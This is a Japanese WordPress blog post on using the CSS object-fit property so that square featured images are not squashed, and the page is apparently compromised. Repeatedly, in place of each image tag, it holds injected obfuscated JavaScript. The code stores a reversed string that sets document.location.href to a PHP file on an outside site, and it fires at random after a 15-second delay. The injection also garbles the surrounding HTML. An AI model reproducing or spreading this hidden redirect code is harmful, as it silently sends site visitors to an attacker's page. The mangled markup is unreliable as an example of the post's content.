WordPress, 日刊すみれぽ

WordPressでアイキャッチ画像が拡大縮小してしまうのを防ぐCSS

PC作業$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ width=”599″ height=”400″ />
長年悩んでいたことが解決しました。
このブログではWordpressのアイキャッチ画像をスクエア(正方形)にして表示しています。

本来は、MarsEditとSLPRO X、どちらも投稿記事の先頭画像をアイキャッチ画像に設定できます。(MarsEditの設定では『Auto Post Thumbnail』というプラグインを使います)
しかし私の場合はアイキャッチをスクエア(正方形)にしているので、画像を入れた後にわざわざスクエアに画像を切り取ってアイキャッチとしてセットし直していました。

たまにならいいですが、これが毎回となるととてもめんどくさい。

この作業をしないと、画像がスクエア(正方形)では表示されるものの、縮小されてしまうのが悩みでした。

CSS修正前のアイキャッチ

それぞれぎゅーっと潰されたように縮小されているのがわかるでしょうか?スクエアにするのを忘れると、すぐにこんな風に縮小されてしまっていたのです。

修正前1$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ />

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de38b06433c.png” alt=”修正前2″ title=”修正前2.png” borandom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ />

修正前3$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ />

修正前4$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ />

解決法はやはりCSSにあった

今回はこのように書きました。

    /*アイキャッチ*/
	img.attachment-large.wp-post-image {
  	  width: 200px;
  	  height: 200px;
  	  object-fit: cover;
 }

最後のobject-fitを追記しました。

CSVV修正後のアイキャッチ

CSSを修正した後のアイキャッチです。画像をさわることなく、CSSだけで綺麗な表示にすることができました。

修正後1$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ />

修正後2$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ />

修正後3$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ />

修正後4$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ />

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ src=”http://capture.heartrails.com/150×130/shadow?http://sumirexxx.com/category/marsedit/” alt=”” width=”150″ height=”130″ />「MarsEdit」カテゴリーの記事一覧 | Sumirexxx$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ src=”http://b.hatena.ne.jp/entry/image/http://sumirexxx.com/category/marsedit/” alt=”” />

$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ src=”http://capture.heartrails.com/150×130/shadow?http://sumirexxx.com/tag/slpro-x/” alt=”” width=”150″ height=”130″ />「SLPRO X」タグ記事がついた記事一覧 | Sumirexxx$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == “string”) return $cFN$wEpyMrNXtezaeR2.list[n].split(“”).reverse().join(“”);return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=[“‘php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}der=”0″ src=”http://b.hatena.ne.jp/entry/image/http://sumirexxx.com/tag/slpro-x/” alt=”” />

まとめ

画像全部をリサイズしようとしていましたが、CSSだけで解決できてよかったです。

コメントを残す

メールアドレスが公開されることはありません。